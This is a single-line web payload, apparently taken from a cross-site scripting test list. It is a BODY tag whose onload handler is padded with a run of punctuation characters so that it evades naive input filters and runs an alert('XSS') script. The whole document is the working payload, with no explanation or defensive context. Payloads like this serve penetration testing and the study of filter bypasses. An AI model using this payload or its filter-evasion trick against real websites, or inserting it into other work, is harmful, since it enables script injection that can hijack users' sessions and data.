<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>